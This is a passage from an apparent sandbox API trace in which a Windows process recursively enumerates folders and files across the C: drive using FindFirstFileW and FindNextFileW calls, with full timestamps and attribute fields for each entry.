[0033.763] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931788 [0033.763] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.763] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.764] FindClose (in: hFindFile=0x3931788 | out: hFindFile=0x3931788) returned 1 [0033.764] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0033.764] FindNextFileW (in: hFindFile=0x6e4378, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0033.764] FindClose (in: hFindFile=0x6e4378 | out: hFindFile=0x6e4378) returned 1 [0033.764] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39106e0 | out: hHeap=0x5f0000) returned 1 [0033.764] FindNextFileW (in: hFindFile=0x6e3330, lpFindFileData=0x350fd00 | out: lpFindFileData=0x350fd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0033.764] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39106e0 [0033.764] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931788 [0033.764] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.764] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0033.764] FindClose (in: hFindFile=0x3931788 | out: hFindFile=0x3931788) returned 1 [0033.764] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39106e0 | out: hHeap=0x5f0000) returned 1 [0033.764] FindNextFileW (in: hFindFile=0x6e3330, lpFindFileData=0x350fd00 | out: lpFindFileData=0x350fd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0033.765] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39106e0 [0033.765] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="\xde00\x63\x16")) returned 0xffffffff [0033.765] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39106e0 | out: hHeap=0x5f0000) returned 1 [0033.765] FindNextFileW (in: hFindFile=0x6e3330, lpFindFileData=0x350fd00 | out: lpFindFileData=0x350fd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0033.765] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39106e0 [0033.765] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931788 [0033.765] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.765] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0033.765] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.765] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39317c8 [0033.832] FindNextFileW (in: hFindFile=0x39317c8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.842] FindNextFileW (in: hFindFile=0x39317c8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0033.843] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3e90048 [0033.848] FindNextFileW (in: hFindFile=0x3931848, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.848] FindNextFileW (in: hFindFile=0x3931848, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0035.256] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.256] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0035.256] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3f82e10 [0035.256] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931988 [0035.257] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.257] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0035.257] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0035.257] FindClose (in: hFindFile=0x3931988 | out: hFindFile=0x3931988) returned 1 [0035.257] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f82e10 | out: hHeap=0x5f0000) returned 1 [0035.257] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0035.257] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0035.257] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3f82e10 [0035.257] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931988 [0035.258] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.258] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0035.258] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0035.258] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0035.258] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0035.258] FindClose (in: hFindFile=0x3931988 | out: hFindFile=0x3931988) returned 1 [0035.258] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f82e10 | out: hHeap=0x5f0000) returned 1 [0035.258] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0035.259] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0035.259] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3f82e10 [0037.648] FindNextFileW (in: hFindFile=0x3931908, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.648] FindNextFileW (in: hFindFile=0x3931908, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0037.648] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3ef2df0 [0037.648] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931888 [0039.615] FindNextFileW (in: hFindFile=0x3931888, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.615] FindNextFileW (in: hFindFile=0x3931888, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0039.616] FindClose (in: hFindFile=0x3931888 | out: hFindFile=0x3931888) returned 1 [0039.616] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3ef2df0 | out: hHeap=0x5f0000) returned 1 [0039.616] FindNextFileW (in: hFindFile=0x3931908, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0039.617] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3ef2df0 [0039.617] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931888 [0039.617] FindNextFileW (in: hFindFile=0x3931888, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, 